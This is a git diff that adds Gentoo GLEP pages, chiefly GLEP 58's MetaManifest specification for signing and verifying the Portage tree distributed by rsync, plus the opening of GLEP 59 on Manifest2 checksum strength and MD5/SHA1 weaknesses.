+Manifest2. If a file is mentioned in a Manifest2, but does not
+exist, it must still be included. No files should be excluded.</li>
+</ol>
+</li>
+<li>Traverse the tree, depth-first.<ol class="arabic">
+<li>At the top level only, ignore the following directories: distfiles,
+packages, local.</li>
+<li>If a directory contains a Manifest file, extract all relevant local
+files from it (presently: AUX, MISC, EBUILD; but should follow the
+evolution of Manifest2 entry types per [GLEP60]), and place them
+into the COVERED set.</li>
+<li>Recursively add every file in the directory to the ALL set,
+pursuant to the exclusion list as mentioned in [GLEP60].</li>
+</ol>
+</li>
+<li>Produce a new set, UNCOVERED, as the set-difference (ALL)-(COVERED).
+This is every item that is not covered by another Manifest, or part
+of an exclusion list.</li>
+<li>If an existing MetaManifest file is present, remove it.</li>
+<li>For each file in UNCOVERED, assign a Manifest2 type, produce the
+hashes, and add with the filetype to the MetaManifest file.</li>
+<li>For unique identification of the MetaManifest, a header line should
+be included, using the exact contents of the metadata/timestamp.x
+file, so that a MetaManifest may be tied back to a tree as
+distributed by the rsync mirror system. The string of
+'metadata/timestamp.x' should be included to identify this revision
+of MetaManifest generation. e.g.:
+&quot;Timestamp: metadata/timestamp.x: 1215722461 Thu Jul 10 20:41:01 2008 UTC&quot;
+The package manager MUST not use the identifying string as a filename.</li>
+<li>The MetaManifest must ultimately be GnuPG-signed.<ol class="arabic">
+<li>For the initial implementation, the same key as used for snapshot
+tarball signing is sufficient.</li>
+<li>For the future, the key used for fully automated signing by infra
+should not be on the same keyring as developer keys. See
+[GLEPxx3] for further notes.</li>
+</ol>
+</li>
+</ol>
+</div>
+<div class="section" id="notes">
+<h3><a class="toc-backref" href="#id8">Notes:</a></h3>
+<p>The above does not conflict the proposal contained in [GLEP33], which
+restructure eclasses to include subdirectories and Manifest files, as
+the Manifest rules above still provide indirect verification for all
+files after the [GLEP33] restructuring if it comes to pass.</p>
+<p>Additional levels of Manifests are required, such as per-category, and
+in the eclasses, profiles and metadata directories. This ensures that a
+change to a singular file causes the smallest possible overall change in
+the Manifests as propagated. Creation of the additional levels of
+Manifests uses the same process as described above, simply starting at a
+different root point.</p>
+<p>MetaManifest generation will take place as part of the existing process
+by infrastructure that takes the contents of CVS and prepares it for
+distribution via rsync, which includes generating metadata. In-tree
+Manifest files are not validated at this point, as they are assumed to
+be correct.</p>
+</div>
+</div>
+<div class="section" id="verification-of-one-or-more-items-from-the-metamanifest">
+<h2><a class="toc-backref" href="#id9">Verification of one or more items from the MetaManifest:</a></h2>
+<p>There are two times that this may happen: firstly, immediately after the
+rsync has completed - this has the advantage that the kernel file cache
+is hot, and checking the entire tree can be accomplished quickly.
+Secondly, the MetaManifest should be checked during installation of a
+package.</p>
+</div>
+<div class="section" id="procedure-for-verifying-an-item-in-the-metamanifest">
+<h2><a class="toc-backref" href="#id10">Procedure for verifying an item in the MetaManifest:</a></h2>
+<p>In the following, I've used term 'M2-verify' to note following the hash
+verification procedures as defined by the Manifest2 format - which
+compromise checking the file length, and that the hashes match. Which
+filetypes may be ignored on missing is discussed in [GLEP60].</p>
+<ol class="arabic simple">
+<li>Check the GnuPG signature on the MetaManifest against the keyring of
+automated Gentoo keys. See [GLEPxx3] for full details regarding
+verification of GnuPG signatures.
+1. Abort if the signature check fails.</li>
+<li>Check the Timestamp header. If it is significantly out of date
+compared to the local clock or a trusted source, halt or require
+manual intervention from the user.</li>
+<li>For a verification of the tree following an rsync:<ol class="arabic">
+<li>Build a set 'ALL' of every file covered by the rsync. (exclude
+distfiles/, packages/, local/)</li>
+<li>M2-verify every entry in the MetaManifest, descending into inferior
+Manifests as needed. Place the relative path of every checked item
+into a set 'COVERED'.</li>
+<li>Construct the set 'UNCOVERED' by set-difference between the ALL and
+COVERED sets.</li>
+<li>For each file in the UNCOVERED set, assign a Manifest2 filetype.</li>
+<li>If the filetype for any file in the UNCOVERED set requires a halt
+on error, abort and display a suitable error.</li>
+<li>Completed verification</li>
+</ol>
+</li>
+<li>If checking at the installation of a package:<ol class="arabic">
+<li>M2-verify the entry in MetaManifest for the Manifest</li>
+<li>M2-verify all relevant metadata/ contents if metadata/ is being
+used in any way (optionally done before dependency checking).</li>
+<li>M2-verifying the contents of the Manifest.</li>
+<li>Perform M2-verification of all eclasses and profiles used (both
+directly and indirectly) by the ebuild.</li>
+</ol>
+</li>
+</ol>
+<div class="section" id="id1">
+<h3><a class="toc-backref" href="#id11">Notes:</a></h3>
+<ol class="arabic simple">
+<li>For initial implementations, it is acceptable to check EVERY item in
+the eclass and profiles directory, rather than tracking the exact
+files used by every eclass (see note #2). Later implementations
+should strive to only verify individual eclasses and profiles as
+needed.</li>
+<li>Tracking of exact files is of specific significance to the libtool
+eclass, as it stores patches under eclass/ELT-patches, and as such
+that would not be picked up by any tracing of the inherit function.
+This may be alleviated by a later eclass and ebuild variable that
+explicitly declares what files from the tree are used by a package.</li>
+</ol>
+</div>
+</div>
+</div>
+<div class="section" id="implementation-notes">
+<h1><a class="toc-backref" href="#id12">Implementation Notes</a></h1>
+<p>For this portion of the tree-signing work, no actions are required of
+the individual Gentoo developers. They will continue to develop and
+commit as they do presently, and the MetaManifest is added by
+Infrastructure during the tree generation process, and distributed to
+users.</p>
+<p>Any scripts generating Manifests and the MetaManifest may find it useful
+to generate multiple levels of Manifests in parallel, and this is
+explicitly permitted, provided that every file in the tree is covered by
+at least one Manifest or the MetaManifest file. The uppermost
+Manifest (MetaManifest) is the only item that does not occur in any
+other Manifest file, but is instead GPG-signed to enable it's
+validation.</p>
+<div class="section" id="metamanifest-and-the-new-manifest2-filetypes">
+<h2><a class="toc-backref" href="#id13">MetaManifest and the new Manifest2 filetypes</a></h2>
+<p>While [GLEP60] describes the addition of new filetypes, these are NOT
+needed for implementation of the MetaManifest proposal. Without the new
+filetypes, all entries in the MetaManifest would be of type 'MISC'.</p>
+</div>
+<div class="section" id="timestamps-additional-distribution-of-metamanifest">
+<h2><a class="toc-backref" href="#id14">Timestamps &amp; Additional distribution of MetaManifest</a></h2>
+<p>As discussed by [C08a,C08b], malicious third-party mirrors may use the
+principles of exclusion and replay to deny an update to clients, while
+at the same time recording the identity of clients to attack.</p>
+<p>This should be guarded against by including a timestamp in the header of
+the MetaManifest, as well as distributing the latest MetaManifests by a
+trusted channel.</p>
+<p>On all rsync mirrors directly maintained by the Gentoo infrastructure,
+and not on community mirrors, there should be a new module
+'gentoo-portage-metamanifests'. Within this module, all MetaManifests
+for a recent time frame (e.g. one week) should be kept, named as
+&quot;MetaManifest.$TS&quot;, where $TS is the timestamp from inside the file.
+The most recent MetaManifest should always be symlinked as
+MetaManifest.current. The possibility of serving the recent
+MetaManifests via HTTPS should also be explored to mitigate
+man-in-the-middle attacks.</p>
+<p>The package manager should obtain MetaManifest.current and use it to
+decide is the tree is too out of date per operation #2 of the
+verification process. The decision about freshness should be a
+user-configuration setting, with the ability to override.</p>
+</div>
+<div class="section" id="metamanifest-size-considerations">
+<h2><a class="toc-backref" href="#id15">MetaManifest size considerations</a></h2>
+<p>With only two levels of Manifests (per-package and top-level), every
+rsync will cause a lot of traffic transferring the modified top-level
+MetaManifest. To reduce this, first-level directory Manifests are
+required. Alternatively, if the distribution method efficiently handles
+small patch-like changes in an existing file, using an uncompressed
+MetaManifest may be acceptable (this would primarily be distributed
+version control systems). Other suggestions in reducing this traffic are
+welcomed.</p>
+</div>
+</div>
+<div class="section" id="backwards-compatibility">
+<h1><a class="toc-backref" href="#id16">Backwards Compatibility</a></h1>
+<ul class="simple">
+<li>There are no backwards compatibility issues, as old versions of
+Portage do not look for a Manifest file at the top level of the tree.</li>
+<li>Manifest2-aware versions of Portage ignore all entries that they are
+not certain how to handle. Enabling headers and PGP signing to be
+conducted easily.</li>
+</ul>
+</div>
+<div class="section" id="thanks">
+<h1><a class="toc-backref" href="#id17">Thanks</a></h1>
+<p>I'd like to thank the following people for input on this GLEP.</p>
+<ul class="simple">
+<li>Patrick Lauer (patrick): Prodding me to get all of the tree-signing
+work finished, and helping to edit.</li>
+<li>Ciaran McCreesh (ciaranm): Paludis Manifest2</li>
+<li>Brian Harring (ferringb): pkgcore Manifest2</li>
+<li>Marius Mauch (genone) &amp; Zac Medico (zmedico): Portage Manifest2</li>
+<li>Ned Ludd (solar) - Security concept review</li>
+</ul>
+</div>
+<div class="section" id="references">
+<h1><a class="toc-backref" href="#id18">References</a></h1>
+<table class="docutils citation" frame="void" id="c08a" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[C08a]</td><td>Cappos, J et al. (2008). &quot;Package Management Security&quot;.
+University of Arizona Technical Report TR08-02. Available online
+from: <a class="reference external" href="ftp://ftp.cs.arizona.edu/reports/2008/TR08-02.pdf">ftp://ftp.cs.arizona.edu/reports/2008/TR08-02.pdf</a></td></tr>
+</tbody>
+</table>
+<table class="docutils citation" frame="void" id="c08b" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[C08b]</td><td>Cappos, J et al. (2008). &quot;Attacks on Package Managers&quot;
+Available online at:
+<a class="reference external" href="http://www.cs.arizona.edu/people/justin/packagemanagersecurity/">http://www.cs.arizona.edu/people/justin/packagemanagersecurity/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils citation" frame="void" id="glep33" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[GLEP33]</td><td>Eclass Restructure/Redesign
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0033.html">http://www.gentoo.org/proj/en/glep/glep-0033.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils citation" frame="void" id="glep60" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[GLEP60]</td><td>Manifest2 filetypes
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0044.html">http://www.gentoo.org/proj/en/glep/glep-0044.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils citation" frame="void" id="glepxx2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[GLEPxx2]</td><td>Future GLEP on Developer Process security.</td></tr>
+</tbody>
+</table>
+<table class="docutils citation" frame="void" id="glepxx3" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[GLEPxx3]</td><td>Future GLEP on GnuPG Policies and Handling.</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id19">Copyright</a></h1>
+<p>Copyright (c) 2006-2010 by Robin Hugh Johnson. This material may be
+distributed only subject to the terms and conditions set forth in the
+Open Publication License, v1.0.</p>
+<!-- vim: tw=72 ts=2 expandtab: -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0058.txt">View document source</a>.
+Generated on: 2010-04-07 21:52 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0058.txt b/xml/htdocs/proj/en/glep/glep-0058.txt
new file mode 100644
index 00000000..f851da70
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0058.txt
@@ -0,0 +1,326 @@
+GLEP: 58
+Title: Security of distribution of Gentoo software - Infrastructure to User distribution - MetaManifest
+Version: $Revision: 1.10 $
+Last-Modified: $Date: 2010/04/07 21:34:24 $
+Author: Robin Hugh Johnson <robbat2@gentoo.org>, 
+Status: Draft
+Type: Standards Track
+Content-Type: text/x-rst
+Requires: 44, 60
+Created: October 2006
+Updated: November 2007, June 2008, July 2008, October 2008, January 2010
+Post-History: December 2009, January 2010
+
+========
+Abstract
+========
+MetaManifest provides a means of verifiable distribution from Gentoo
+Infrastructure to a user system, while data is conveyed over completely
+untrusted networks and system, by extending the Manifest2 specification,
+and adding a top-level Manifest file, with support for other nested
+Manifests.
+
+==========
+Motivation
+==========
+As part of a comprehensive security plan, we need a way to prove that
+something originating from Gentoo as an organization (read Gentoo-owned
+hardware, run by infrastructure), has not been tampered with. This
+allows the usage of third-party rsync mirrors, without worrying that
+they have modified something critical (e.g. eclasses, which are still
+unsigned).
+
+Securing the untrusted distribution is one of the easier tasks in the
+security plan - in short, all that is required is having a hash of every
+item in the tree, and signing that hash to prove it came from Gentoo.
+
+Ironically we have a hashed and signed distribution (it's just not used
+by most users, due to it's drawbacks): Our tree snapshot tarballs have
+hashes and signatures.
+
+So now we want to add the same verification to our material that is
+distributed by rsync. We already provide hashes of subsets of the tree -
+our Manifests protect individual packages. However metadata, eclasses
+and profiles are not protected at this time. The directories of
+packages and distfiles are NOT covered by this, as they are not
+distributed by rsync.
+
+This portion of the tree-signing work provides only the following
+guarantee: A user can prove that the tree from the Gentoo infrastructure
+has not been tampered with since leaving the Gentoo infrastructure.
+No other guarantees, either implicit or explicit are made.
+
+Additionally, distributing a set of the most recent MetaManifests from a
+trusted source allows validation of trees that come from community
+mirrors, and allows detection of all cases of malicious mirrors (either
+by deliberate delay, replay [C08a, C08b] or alteration).
+
+=============
+Specification
+=============
+For lack of a better name, the following solution should be known as the
+MetaManifest. Those responsible for the name have already been sacked.
+
+MetaManifest basically contains hashes of every file in the tree, either
+directly or indirectly. The direct case applies to ANY file that does
+not appear in an existing Manifest file (e.g. eclasses, Manifest files
+themselves). The indirect case is covered by the CONTENTS of existing
+Manifest files. If the Manifest itself is correct, we know that by
+tracking the hash of the Manifest, we can be assured that the contents
+are protected.
+
+In the following, the MetaManifest file is a file named 'Manifest',
+located at the root of a repository.
+
+---------------------------------------------
+Procedure for creating the MetaManifest file:
+---------------------------------------------
+Summary:
+========
+The objective of creating the MetaManifest file(s) is to ensure that
+every single file in the tree occurs in at least one Manifest.
+
+Process:
+========
+1. Start at the root of the Gentoo Portage tree (gentoo-x86, although
+   this procedure applies to overlays as well).
+
+2. Initialize two unordered sets: COVERED, ALL.
+
+   1. 'ALL' shall contain every file that exists in the present tree.
+   2. 'COVERED' shall contain EVERY file that is mentioned in an existing
+      Manifest2. If a file is mentioned in a Manifest2, but does not
+      exist, it must still be included. No files should be excluded.
+
+3. Traverse the tree, depth-first.
+
+   1. At the top level only, ignore the following directories: distfiles,
+      packages, local.
+   2. If a directory contains a Manifest file, extract all relevant local
+      files from it (presently: AUX, MISC, EBUILD; but should follow the
+      evolution of Manifest2 entry types per [GLEP60]), and place them
+      into the COVERED set.
+   3. Recursively add every file in the directory to the ALL set,
+      pursuant to the exclusion list as mentioned in [GLEP60].
+
+4. Produce a new set, UNCOVERED, as the set-difference (ALL)-(COVERED).
+   This is every item that is not covered by another Manifest, or part
+   of an exclusion list.
+
+5. If an existing MetaManifest file is present, remove it.
+
+6. For each file in UNCOVERED, assign a Manifest2 type, produce the
+   hashes, and add with the filetype to the MetaManifest file.
+
+7. For unique identification of the MetaManifest, a header line should
+   be included, using the exact contents of the metadata/timestamp.x
+   file, so that a MetaManifest may be tied back to a tree as 
+   distributed by the rsync mirror system. The string of
+   'metadata/timestamp.x' should be included to identify this revision
+   of MetaManifest generation. e.g.:
+   "Timestamp: metadata/timestamp.x: 1215722461 Thu Jul 10 20:41:01 2008 UTC"
+   The package manager MUST not use the identifying string as a filename.
+
+8. The MetaManifest must ultimately be GnuPG-signed.
+
+   1. For the initial implementation, the same key as used for snapshot
+      tarball signing is sufficient.
+   2. For the future, the key used for fully automated signing by infra
+      should not be on the same keyring as developer keys. See
+      [GLEPxx3] for further notes.
+
+Notes:
+======
+The above does not conflict the proposal contained in [GLEP33], which
+restructure eclasses to include subdirectories and Manifest files, as
+the Manifest rules above still provide indirect verification for all
+files after the [GLEP33] restructuring if it comes to pass.
+
+Additional levels of Manifests are required, such as per-category, and
+in the eclasses, profiles and metadata directories. This ensures that a
+change to a singular file causes the smallest possible overall change in
+the Manifests as propagated. Creation of the additional levels of
+Manifests uses the same process as described above, simply starting at a
+different root point.
+
+MetaManifest generation will take place as part of the existing process
+by infrastructure that takes the contents of CVS and prepares it for
+distribution via rsync, which includes generating metadata. In-tree
+Manifest files are not validated at this point, as they are assumed to
+be correct.
+
+--------------------------------------------------------
+Verification of one or more items from the MetaManifest:
+--------------------------------------------------------
+There are two times that this may happen: firstly, immediately after the
+rsync has completed - this has the advantage that the kernel file cache
+is hot, and checking the entire tree can be accomplished quickly.
+Secondly, the MetaManifest should be checked during installation of a
+package.
+
+----------------------------------------------------
+Procedure for verifying an item in the MetaManifest:
+----------------------------------------------------
+In the following, I've used term 'M2-verify' to note following the hash
+verification procedures as defined by the Manifest2 format - which
+compromise checking the file length, and that the hashes match. Which
+filetypes may be ignored on missing is discussed in [GLEP60].
+
+1. Check the GnuPG signature on the MetaManifest against the keyring of
+   automated Gentoo keys. See [GLEPxx3] for full details regarding
+   verification of GnuPG signatures. 
+   1. Abort if the signature check fails.
+
+2. Check the Timestamp header. If it is significantly out of date
+   compared to the local clock or a trusted source, halt or require
+   manual intervention from the user.
+
+3. For a verification of the tree following an rsync:
+
+   1. Build a set 'ALL' of every file covered by the rsync. (exclude
+      distfiles/, packages/, local/)
+   2. M2-verify every entry in the MetaManifest, descending into inferior
+      Manifests as needed. Place the relative path of every checked item
+      into a set 'COVERED'.
+   3. Construct the set 'UNCOVERED' by set-difference between the ALL and
+      COVERED sets.
+   4. For each file in the UNCOVERED set, assign a Manifest2 filetype.
+   5. If the filetype for any file in the UNCOVERED set requires a halt
+      on error, abort and display a suitable error.
+   6. Completed verification
+
+4. If checking at the installation of a package:
+
+   1. M2-verify the entry in MetaManifest for the Manifest
+   2. M2-verify all relevant metadata/ contents if metadata/ is being
+      used in any way (optionally done before dependency checking).
+   3. M2-verifying the contents of the Manifest. 
+   4. Perform M2-verification of all eclasses and profiles used (both
+      directly and indirectly) by the ebuild.
+
+Notes:
+======
+1. For initial implementations, it is acceptable to check EVERY item in
+   the eclass and profiles directory, rather than tracking the exact
+   files used by every eclass (see note #2). Later implementations
+   should strive to only verify individual eclasses and profiles as
+   needed.
+2. Tracking of exact files is of specific significance to the libtool
+   eclass, as it stores patches under eclass/ELT-patches, and as such
+   that would not be picked up by any tracing of the inherit function.
+   This may be alleviated by a later eclass and ebuild variable that
+   explicitly declares what files from the tree are used by a package.
+
+====================
+Implementation Notes
+====================
+For this portion of the tree-signing work, no actions are required of
+the individual Gentoo developers. They will continue to develop and
+commit as they do presently, and the MetaManifest is added by
+Infrastructure during the tree generation process, and distributed to
+users.
+
+Any scripts generating Manifests and the MetaManifest may find it useful
+to generate multiple levels of Manifests in parallel, and this is
+explicitly permitted, provided that every file in the tree is covered by
+at least one Manifest or the MetaManifest file. The uppermost
+Manifest (MetaManifest) is the only item that does not occur in any
+other Manifest file, but is instead GPG-signed to enable it's
+validation.
+
+--------------------------------------------
+MetaManifest and the new Manifest2 filetypes
+--------------------------------------------
+While [GLEP60] describes the addition of new filetypes, these are NOT
+needed for implementation of the MetaManifest proposal. Without the new
+filetypes, all entries in the MetaManifest would be of type 'MISC'.
+
+----------------------------------------------------
+Timestamps & Additional distribution of MetaManifest
+----------------------------------------------------
+As discussed by [C08a,C08b], malicious third-party mirrors may use the
+principles of exclusion and replay to deny an update to clients, while
+at the same time recording the identity of clients to attack.
+
+This should be guarded against by including a timestamp in the header of
+the MetaManifest, as well as distributing the latest MetaManifests by a
+trusted channel.
+
+On all rsync mirrors directly maintained by the Gentoo infrastructure,
+and not on community mirrors, there should be a new module
+'gentoo-portage-metamanifests'. Within this module, all MetaManifests
+for a recent time frame (e.g. one week) should be kept, named as
+"MetaManifest.$TS", where $TS is the timestamp from inside the file.
+The most recent MetaManifest should always be symlinked as
+MetaManifest.current. The possibility of serving the recent
+MetaManifests via HTTPS should also be explored to mitigate
+man-in-the-middle attacks.
+
+The package manager should obtain MetaManifest.current and use it to
+decide is the tree is too out of date per operation #2 of the
+verification process. The decision about freshness should be a
+user-configuration setting, with the ability to override.
+
+--------------------------------
+MetaManifest size considerations
+--------------------------------
+With only two levels of Manifests (per-package and top-level), every
+rsync will cause a lot of traffic transferring the modified top-level
+MetaManifest. To reduce this, first-level directory Manifests are
+required. Alternatively, if the distribution method efficiently handles
+small patch-like changes in an existing file, using an uncompressed
+MetaManifest may be acceptable (this would primarily be distributed
+version control systems). Other suggestions in reducing this traffic are
+welcomed.
+
+=======================
+Backwards Compatibility
+=======================
+- There are no backwards compatibility issues, as old versions of
+  Portage do not look for a Manifest file at the top level of the tree.
+- Manifest2-aware versions of Portage ignore all entries that they are
+  not certain how to handle. Enabling headers and PGP signing to be
+  conducted easily.
+
+======
+Thanks
+======
+I'd like to thank the following people for input on this GLEP.
+
+- Patrick Lauer (patrick): Prodding me to get all of the tree-signing
+  work finished, and helping to edit.
+- Ciaran McCreesh (ciaranm): Paludis Manifest2
+- Brian Harring (ferringb): pkgcore Manifest2
+- Marius Mauch (genone) & Zac Medico (zmedico): Portage Manifest2
+- Ned Ludd (solar) - Security concept review
+
+==========
+References
+==========
+
+.. [C08a] Cappos, J et al. (2008). "Package Management Security".
+    University of Arizona Technical Report TR08-02. Available online
+    from: ftp://ftp.cs.arizona.edu/reports/2008/TR08-02.pdf
+
+.. [C08b] Cappos, J et al. (2008). "Attacks on Package Managers"
+    Available online at:
+    http://www.cs.arizona.edu/people/justin/packagemanagersecurity/
+
+.. [GLEP33] Eclass Restructure/Redesign
+   http://www.gentoo.org/proj/en/glep/glep-0033.html	
+
+.. [GLEP60] Manifest2 filetypes
+   http://www.gentoo.org/proj/en/glep/glep-0044.html	
+
+.. [GLEPxx2] Future GLEP on Developer Process security.
+
+.. [GLEPxx3] Future GLEP on GnuPG Policies and Handling.
+
+=========
+Copyright
+=========
+Copyright (c) 2006-2010 by Robin Hugh Johnson. This material may be
+distributed only subject to the terms and conditions set forth in the
+Open Publication License, v1.0.
+
+.. vim: tw=72 ts=2 expandtab:
diff --git a/xml/htdocs/proj/en/glep/glep-0059.html b/xml/htdocs/proj/en/glep/glep-0059.html
new file mode 100644
index 00000000..9afcc078
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0059.html
@@ -0,0 +1,296 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 59 -- Manifest2 hash policies and security implications</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0059.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">59</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Manifest2 hash policies and security implications</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.9</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0059.txt?cvsroot=gentoo">2010/04/07 21:34:24</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Robin Hugh Johnson &lt;robbat2&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Draft</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Requires:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/proj/en/glepglep-0044.html">44</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">October 2006</td>
+</tr>
+<tr class="field"><th class="field-name">Updated:</th><td class="field-body">November 2007, June 2008, July 2008, October 2008, January 2010</td>
+</tr>
+<tr class="field"><th class="field-name">Updates:</th><td class="field-body">44</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">December 2009, January 2010</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#abstract" id="id2">Abstract</a></li>
+<li><a class="reference internal" href="#motivation" id="id3">Motivation</a></li>
+<li><a class="reference internal" href="#specification" id="id4">Specification</a><ul>
+<li><a class="reference internal" href="#the-bad-news" id="id5">The bad news</a></li>
+<li><a class="reference internal" href="#how-fast-can-md5-be-broken" id="id6">How fast can MD5 be broken?</a></li>
+<li><a class="reference internal" href="#the-good-news" id="id7">The good news</a></li>
+<li><a class="reference internal" href="#what-should-be-done" id="id8">What should be done</a></li>
+<li><a class="reference internal" href="#checksum-depreciation-timing" id="id9">Checksum depreciation timing</a><ul>
+<li><a class="reference internal" href="#general-principles" id="id10">General principles:</a></li>
+<li><a class="reference internal" href="#immediate-plans" id="id11">Immediate plans:</a></li>
+</ul>
+</li>
+</ul>
+</li>
+<li><a class="reference internal" href="#backwards-compatibility" id="id12">Backwards Compatibility</a></li>
+<li><a class="reference internal" href="#references" id="id13">References</a></li>
+<li><a class="reference internal" href="#thanks-to" id="id14">Thanks to</a></li>
+<li><a class="reference internal" href="#id1" id="id15">References</a></li>
+<li><a class="reference internal" href="#copyright" id="id16">Copyright</a></li>
+</ul>
+</div>
+<div class="section" id="abstract">
+<h1><a class="toc-backref" href="#id2">Abstract</a></h1>
+<p>While Manifest2 format allows multiple hashes, the question of which
+checksums should be present, why, and the security implications of such
+have never been resolved. This GLEP covers all of these issues, and
+makes recommendations as to how to handle checksums both now, and in
+future.</p>
+</div>
+<div class="section" id="motivation">
+<h1><a class="toc-backref" href="#id3">Motivation</a></h1>
+<p>This GLEP is being written as part of the work on signing the Portage
+tree, but is only tangentially related to the actual signing of
+Manifests. Checksums present one possible weak point in the overall
+security of the tree - and a comprehensive security plan is needed.</p>
+<p>This GLEP is not mandatory for the tree-signing specification, but
+instead aims to improve the security of the hashes used in Manifest2
+[GLEP44]. As such, it is also able to stand on it's own.</p>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id4">Specification</a></h1>
+<div class="section" id="the-bad-news">
+<h2><a class="toc-backref" href="#id5">The bad news</a></h2>
+<p>First of all, I'd like to cover the bad news in checksum security.
+A much discussed point, as been the simple question: What is the
+security of multiple independent checksums on the same data?
+The most common position (and indeed the one previously held by myself),
+is that multiple checksums would be an increase in security, but we
+could not provably quantify the amount of security this added.
+The really bad news, is that this position is completely and utterly
+wrong. Many of you will be aghast at this. There is extremely little
+added security in multiple checksums as noted by Joux [J04]. For any set
+of checksums, the actual strength lies in that of the strongest
+checksum.</p>
+<p>Wang et al [W04] extended Joux's [J04] work on SHA-0 to cover MD4, MD5,
+HAVAL-128 and RIPEMD families of hashes.</p>
+</div>
+<div class="section" id="how-fast-can-md5-be-broken">
+<h2><a class="toc-backref" href="#id6">How fast can MD5 be broken?</a></h2>
+<p>For a general collision, not a pre-image attack, since the announcement
+by Wang et al [W04], the time required to break MD5 has been massively
+reduced. Originally at 1 hour on a near-supercomputer (IBM P690) and
+estimated at 64 hours with a Pentium-3 1.7Ghz. This has gone down to
+less than in two years, to 17 seconds [K06a].</p>
+<ul class="simple">
+<li>08/2004 - 1 hour, IBM pSeries 690 (32x 1.7Ghz POWER4+) = 54.4 GHz-Hours</li>
+<li>03/2005 - 8 hours, Pentium-M 1.6Ghz = 12.8 Ghz-Hours</li>
+<li>11/2005 - 5 hours, Pentium-4 1.7Ghz = 8.5 Ghz-Hours</li>
+<li>03/2006 - 1 minute, Pentium-4 3.2Ghz = .05 Ghz-Hours</li>
+<li>04/2006 - 17 seconds, Pentium-4 3.2Ghz = .01 Ghz-Hours</li>
+</ul>
+<p>If we accept a factor of 800x as a sample of how much faster a checksum
+may be broken over the course of 2 years (MD5 using the above data is
+&gt;2000x), then existing checksums do not stand a significant chance of
+survival in the future. We should thus accept that whatever checksums we
+are using today, will be broken in the near future, and plan as best as
+possible. (A brief review [H04] of the SHA1 attacks indicates an
+improvement of ~600x in the same timespan).</p>
+<p>And for those that claim implementation of these procedures is not yet
+feasible, see [K06b] for an application that can produce two
+self-extracting EXE files, with identical MD5s, and whatever payload you
+want.</p>
+</div>
+<div class="section" id="the-good-news">
+<h2><a class="toc-backref" href="#id7">The good news</a></h2>
+<p>Of the checksums presently used by Manifest2 (SHA1, SHA256, RIPEMD160),
+one stands close to being completely broken: SHA1; and another is
+significantly weakened: RIPEMD160. The SHA2 series has suffered some
+attacks, but still remains reasonably solid [G07],[K08].</p>
+<p>To reduce the potential for future problems and any single checksum
+break leading to a rapid decrease in security, we should incorporate the
+strongest hash available from each family of checksums, and be prepared
